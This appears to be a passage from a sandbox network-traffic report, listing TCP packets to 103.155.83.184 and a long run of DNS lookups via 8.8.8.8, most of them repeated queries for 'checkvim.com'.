Sep 28, 2021 06:50:22.500802994 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.500809908 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.500835896 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.500853062 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.501471043 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.502367973 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.502391100 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.502408981 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.502424955 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.502437115 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.502454042 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.502475977 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.502486944 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.504246950 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.504256964 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.506627083 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.789410114 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.789437056 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.789452076 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.789472103 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.790376902 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.791162014 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.791182995 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.791218996 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.791230917 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.791244984 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.791258097 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.791271925 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.791285038 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.791301966 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.791316986 CEST	80	49165	103.155.83.184	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 28, 2021 06:50:29.479912043 CEST	52167	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:29.499205112 CEST	53	52167	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:30.139365911 CEST	50591	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:30.158834934 CEST	53	50591	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:30.691550970 CEST	57805	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:30.708821058 CEST	53	57805	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:31.397732973 CEST	59030	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:31.417036057 CEST	53	59030	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:33.491646051 CEST	59185	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:33.511215925 CEST	53	59185	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:36.241339922 CEST	55616	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:36.260610104 CEST	53	55616	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:36.892030001 CEST	49972	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:36.909889936 CEST	53	49972	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:37.517440081 CEST	51771	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:37.536830902 CEST	53	51771	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:38.161380053 CEST	59867	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:38.180830956 CEST	53	59867	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:38.872611046 CEST	50315	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:38.891587973 CEST	53	50315	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:39.543977022 CEST	50072	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:39.563527107 CEST	53	50072	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:40.224781036 CEST	54304	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:40.244230032 CEST	53	54304	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:40.868150949 CEST	49894	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:40.888323069 CEST	53	49894	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:41.540992975 CEST	64645	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:41.560283899 CEST	53	64645	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:42.207612038 CEST	53745	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:42.224773884 CEST	53	53745	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:42.861419916 CEST	54358	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:42.881131887 CEST	53	54358	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:43.562501907 CEST	65017	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:43.582062006 CEST	53	65017	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:44.223608017 CEST	58341	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:44.243088961 CEST	53	58341	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:44.894368887 CEST	56383	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:44.913645983 CEST	53	56383	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:45.510138988 CEST	62172	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:45.527900934 CEST	53	62172	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:46.159521103 CEST	60859	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:46.180366993 CEST	53	60859	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:46.836015940 CEST	59055	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:46.855447054 CEST	53	59055	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:47.470155001 CEST	60064	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:47.487868071 CEST	53	60064	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:48.125072002 CEST	51689	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:48.142239094 CEST	53	51689	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:48.797341108 CEST	55000	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:48.814738035 CEST	53	55000	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:49.456911087 CEST	64187	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:49.475914955 CEST	53	64187	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:50.103096962 CEST	59449	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:50.121701002 CEST	53	59449	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:50.736572981 CEST	58424	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:50.756259918 CEST	53	58424	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:51.573493958 CEST	62431	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:51.593106031 CEST	53	62431	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:52.347374916 CEST	52879	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:52.364711046 CEST	53	52879	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:53.273158073 CEST	60074	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:53.292803049 CEST	53	60074	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:53.927613974 CEST	51506	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:53.947679043 CEST	53	51506	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:54.591924906 CEST	50615	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:54.610177994 CEST	53	50615	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:55.214793921 CEST	59012	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:55.233603954 CEST	53	59012	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:55.894778967 CEST	62738	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:55.914731026 CEST	53	62738	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:56.533139944 CEST	59992	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:56.553797007 CEST	53	59992	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:57.189132929 CEST	54128	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:57.208435059 CEST	53	54128	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:57.797666073 CEST	52860	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:57.814928055 CEST	53	52860	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:58.491209030 CEST	61742	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:58.513585091 CEST	53	61742	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:59.137286901 CEST	53106	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:59.156528950 CEST	53	53106	8.8.8.8	192.168.2.22
Sep 28, 2021 06:50:59.792362928 CEST	51071	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:50:59.811640024 CEST	53	51071	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:00.442684889 CEST	55225	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:00.464709044 CEST	53	55225	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:01.097755909 CEST	51822	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:01.118602991 CEST	53	51822	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:01.767754078 CEST	57206	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:01.787070036 CEST	53	57206	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:02.415457010 CEST	61471	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:02.437361002 CEST	53	61471	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:03.058557987 CEST	62584	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:03.081188917 CEST	53	62584	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:03.716505051 CEST	54151	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:03.737246037 CEST	53	54151	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:04.366527081 CEST	65317	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:04.384134054 CEST	53	65317	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:04.998681068 CEST	57722	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:05.019469976 CEST	53	57722	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:05.614173889 CEST	64715	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:05.631485939 CEST	53	64715	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:06.227550030 CEST	56207	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:06.246737957 CEST	53	56207	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:06.860356092 CEST	64963	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:06.881524086 CEST	53	64963	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:07.506026983 CEST	65379	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:07.525409937 CEST	53	65379	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:08.143147945 CEST	56233	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:08.162851095 CEST	53	56233	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:08.750855923 CEST	60706	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:08.768567085 CEST	53	60706	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:09.357036114 CEST	49366	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:09.376465082 CEST	53	49366	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:09.988940001 CEST	50141	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:10.008641958 CEST	53	50141	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:10.594608068 CEST	52069	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:10.613387108 CEST	53	52069	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:11.237409115 CEST	63788	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:11.259166002 CEST	53	63788	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:11.828600883 CEST	53190	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:11.848179102 CEST	53	53190	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:12.454752922 CEST	56719	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:12.473819017 CEST	53	56719	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:13.094235897 CEST	57584	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:13.111699104 CEST	53	57584	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:13.729536057 CEST	50815	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:13.746982098 CEST	53	50815	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:14.335000992 CEST	58093	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:14.354599953 CEST	53	58093	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:14.965274096 CEST	60902	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:14.985114098 CEST	53	60902	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:15.632652044 CEST	53710	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:15.652194977 CEST	53	53710	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:16.251604080 CEST	58908	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:16.271156073 CEST	53	58908	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:16.858936071 CEST	50346	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:16.878494978 CEST	53	50346	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:17.496031046 CEST	60221	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:17.515573025 CEST	53	60221	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:18.093348026 CEST	55713	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:18.112341881 CEST	53	55713	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:18.739155054 CEST	63398	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:18.758816957 CEST	53	63398	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:19.352169037 CEST	55693	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:19.371682882 CEST	53	55693	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:19.994096041 CEST	59979	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:20.010968924 CEST	53	59979	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:20.643477917 CEST	64995	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:20.662913084 CEST	53	64995	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:21.261858940 CEST	53289	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:21.281076908 CEST	53	53289	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:21.888906002 CEST	62578	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:21.908377886 CEST	53	62578	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:22.516736984 CEST	50108	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:22.536520004 CEST	53	50108	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:23.168349028 CEST	53605	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:23.187026024 CEST	53	53605	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:23.780982018 CEST	51593	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:23.800335884 CEST	53	51593	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:24.422507048 CEST	50157	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:24.439459085 CEST	53	50157	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:25.031002998 CEST	53952	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:25.053002119 CEST	53	53952	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:25.657380104 CEST	52034	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:25.677412033 CEST	53	52034	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:26.291126966 CEST	64166	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:26.308763981 CEST	53	64166	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:26.962842941 CEST	59580	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:26.982305050 CEST	53	59580	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:27.583534002 CEST	52616	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:27.600348949 CEST	53	52616	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:28.176142931 CEST	49761	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:28.193268061 CEST	53	49761	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:28.790585995 CEST	61521	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:28.808218002 CEST	53	61521	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:29.391048908 CEST	63511	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:29.410531044 CEST	53	63511	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:30.007622957 CEST	64541	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:30.026681900 CEST	53	64541	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:30.622982025 CEST	62874	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:30.642488003 CEST	53	62874	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:31.258003950 CEST	62804	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:31.277529955 CEST	53	62804	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:31.890103102 CEST	63369	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:31.911752939 CEST	53	63369	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:32.550587893 CEST	64896	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:32.569732904 CEST	53	64896	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:33.157046080 CEST	53332	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:33.175820112 CEST	53	53332	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:33.804022074 CEST	62822	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:33.823859930 CEST	53	62822	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:34.427304983 CEST	54987	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:34.446486950 CEST	53	54987	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:35.052763939 CEST	50074	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:35.073288918 CEST	53	50074	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:35.669967890 CEST	49775	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:35.688777924 CEST	53	49775	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:36.321048021 CEST	58516	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:36.340655088 CEST	53	58516	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:36.957783937 CEST	63187	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:36.977107048 CEST	53	63187	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:37.564486980 CEST	60278	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:37.583689928 CEST	53	60278	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:38.208432913 CEST	60352	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:38.227706909 CEST	53	60352	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:38.829217911 CEST	55869	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:38.848547935 CEST	53	55869	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:39.452426910 CEST	63025	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:39.471940994 CEST	53	63025	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:40.416774988 CEST	52534	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:40.437524080 CEST	53	52534	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:41.019485950 CEST	59350	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:41.041893959 CEST	53	59350	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:41.626322031 CEST	54456	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:41.645601034 CEST	53	54456	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:42.283423901 CEST	59196	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:42.304616928 CEST	53	59196	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:42.907963991 CEST	50804	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:42.928423882 CEST	53	50804	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:43.508258104 CEST	55143	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:43.525496006 CEST	53	55143	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:44.127722025 CEST	60892	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:44.146752119 CEST	53	60892	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:44.765714884 CEST	58902	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:44.785208941 CEST	53	58902	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:45.401850939 CEST	51389	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:45.422796011 CEST	53	51389	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:46.009896040 CEST	50544	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:46.027328968 CEST	53	50544	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:46.632900000 CEST	63933	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:46.652699947 CEST	53	63933	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:47.259546041 CEST	64399	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:47.281250000 CEST	53	64399	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:47.895335913 CEST	55661	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:47.912065029 CEST	53	55661	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:48.521167040 CEST	54436	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:48.542418957 CEST	53	54436	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:49.163410902 CEST	55168	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:49.182720900 CEST	53	55168	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:49.793617010 CEST	60280	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:49.812793970 CEST	53	60280	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:50.409174919 CEST	55516	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:50.428427935 CEST	53	55516	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:51.076284885 CEST	55969	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:51.094007015 CEST	53	55969	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:51.765100002 CEST	58466	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:51.785337925 CEST	53	58466	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:52.385508060 CEST	62106	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:52.404402971 CEST	53	62106	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:53.012155056 CEST	55992	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:53.032078981 CEST	53	55992	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:53.635257959 CEST	62701	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:53.652053118 CEST	53	62701	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:54.247356892 CEST	51658	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:54.266855001 CEST	53	51658	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:54.878504038 CEST	62665	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:54.898588896 CEST	53	62665	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:55.483758926 CEST	56181	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:55.501737118 CEST	53	56181	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:56.264363050 CEST	59377	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:56.284024954 CEST	53	59377	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:56.878813028 CEST	50212	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:56.897857904 CEST	53	50212	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:57.643562078 CEST	61333	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:57.662775040 CEST	53	61333	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:58.263293982 CEST	59827	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:58.280199051 CEST	53	59827	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:58.883229017 CEST	57884	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:58.900548935 CEST	53	57884	8.8.8.8	192.168.2.22
Sep 28, 2021 06:51:59.524702072 CEST	52301	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:51:59.543994904 CEST	53	52301	8.8.8.8	192.168.2.22
Sep 28, 2021 06:52:00.126727104 CEST	50984	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:52:00.146327972 CEST	53	50984	8.8.8.8	192.168.2.22
Sep 28, 2021 06:52:00.767751932 CEST	62162	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:52:00.787919998 CEST	53	62162	8.8.8.8	192.168.2.22
Sep 28, 2021 06:52:01.459906101 CEST	53609	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:52:01.479352951 CEST	53	53609	8.8.8.8	192.168.2.22
Sep 28, 2021 06:52:02.086131096 CEST	57468	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:52:02.105777979 CEST	53	57468	8.8.8.8	192.168.2.22
Sep 28, 2021 06:52:02.770040989 CEST	58234	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:52:02.789148092 CEST	53	58234	8.8.8.8	192.168.2.22
Sep 28, 2021 06:52:03.436384916 CEST	61915	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:52:03.457667112 CEST	53	61915	8.8.8.8	192.168.2.22
Sep 28, 2021 06:52:04.040453911 CEST	51791	53	192.168.2.22	8.8.8.8
Sep 28, 2021 06:52:04.060210943 CEST	53	51791	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 28, 2021 06:50:29.479912043 CEST	192.168.2.22	8.8.8.8	0xe7f9	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:30.139365911 CEST	192.168.2.22	8.8.8.8	0xa67b	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:30.691550970 CEST	192.168.2.22	8.8.8.8	0x3958	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:31.397732973 CEST	192.168.2.22	8.8.8.8	0x5f12	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:33.491646051 CEST	192.168.2.22	8.8.8.8	0x9ca6	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:36.241339922 CEST	192.168.2.22	8.8.8.8	0xe8f3	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:36.892030001 CEST	192.168.2.22	8.8.8.8	0x1942	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:37.517440081 CEST	192.168.2.22	8.8.8.8	0xca69	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
Sep 28, 2021 06:50:38.161380053 CEST	192.168.2.22	8.8.8.8	0x120b	Standard query (0)	checkvim.com	A (IP address)	IN (0x0001)
